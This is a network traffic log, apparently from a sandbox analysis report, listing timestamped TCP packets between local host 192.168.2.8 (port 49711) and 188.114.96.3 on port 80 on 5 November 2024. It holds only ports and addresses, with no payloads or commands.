Nov 5, 2024 12:43:35.719423056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719424009 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719434023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719439030 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719463110 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719482899 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719671965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719691038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719696999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719724894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719750881 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719810009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719822884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719840050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719852924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719865084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719881058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719896078 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.747819901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748054028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748074055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748094082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748107910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748123884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748136997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748141050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748188019 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748202085 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748214006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748236895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748251915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748251915 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748269081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748270988 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748286963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748286963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748303890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748320103 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748397112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748410940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748425961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748441935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748456955 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748459101 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748472929 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748482943 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748501062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748522997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748536110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748560905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748603106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748696089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748716116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748739958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748754978 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748775959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.748822927 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.748995066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.749001026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.749012947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.749026060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.749037027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.749039888 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.749049902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.749054909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.749063015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.749074936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.749085903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.749089956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.749097109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.749125004 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.752655029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.752717972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.791084051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.791100025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.791168928 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.796622992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.796638966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.796652079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.796713114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.796730042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.796762943 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.831814051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.831832886 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.831845045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.831856012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.831866980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.831890106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.831912041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.831922054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.831931114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.831943035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.831954002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.831959009 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.831984997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.831989050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.831993103 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832019091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832045078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832053900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832058907 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832062960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832070112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832077026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832082033 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832084894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832092047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832098961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832104921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832113981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832115889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832123041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832129955 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832137108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832143068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832150936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832151890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832154036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832159042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832160950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832163095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832171917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832192898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832194090 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832206964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832218885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832228899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832240105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832252979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832266092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832293987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832545996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832586050 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832720041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832739115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832751036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832762003 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832762957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832776070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832777023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832791090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832798958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832803965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832812071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832818031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832828999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832835913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832842112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832851887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832861900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832865000 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832875967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832886934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832887888 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832895041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.832904100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.832957983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.833424091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833435059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833455086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833467007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833477020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833477020 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.833487988 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833489895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.833501101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833518982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.833522081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833523989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833527088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833530903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833543062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833544970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.833549976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833576918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833581924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833610058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.833623886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.833851099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.833905935 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.834028006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.834039927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.834052086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.834064007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.834074020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.834084988 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.834088087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.834096909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.834101915 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.834110975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.834125042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.834141016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.861526012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.861541986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.861557961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.861571074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.861583948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.861597061 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.861607075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.861618042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.861618042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.861649990 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.861649990 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.862035036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862047911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862059116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862070084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862082005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862092018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.862116098 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.862126112 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.862195969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862210035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862221003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862234116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862237930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.862248898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862255096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.862277031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.862299919 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.862576962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862590075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862628937 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.862739086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862786055 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.862920046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862938881 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862950087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862962961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862973928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.862982988 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.862984896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.863015890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.863029003 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.864495039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.864507914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.864518881 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.864530087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.864542007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.864547968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.864554882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.864568949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.864574909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.864582062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.864586115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.864613056 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.902721882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.902789116 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.902842045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.903587103 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.910732031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.910759926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.910773993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.910788059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.910800934 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.910826921 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.910826921 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.946744919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.946765900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.946779966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.946816921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.946829081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.946830034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.946845055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.946852922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.946852922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.946866989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.946882010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.946907043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.946949959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.946991920 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947077990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947091103 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947103024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947113037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947123051 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947124958 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947138071 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947149038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947149038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947163105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947176933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947196007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947196007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947222948 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947340012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947352886 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947395086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947467089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947478056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947489977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947503090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947515011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947515011 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947527885 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947556973 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947717905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947735071 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947745085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947751999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947758913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947773933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947777987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947781086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947783947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947789907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947794914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947802067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947803974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947803974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947808027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.947839975 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.947839975 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948129892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948143005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948154926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948168039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948177099 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948180914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948187113 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948196888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948210001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948213100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948225021 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948252916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948417902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948430061 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948441982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948452950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948462963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948463917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948474884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948487997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948503971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948513985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948527098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948569059 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948569059 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948597908 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948597908 CET	49711	80	192.168.2.8	188.114.96.3
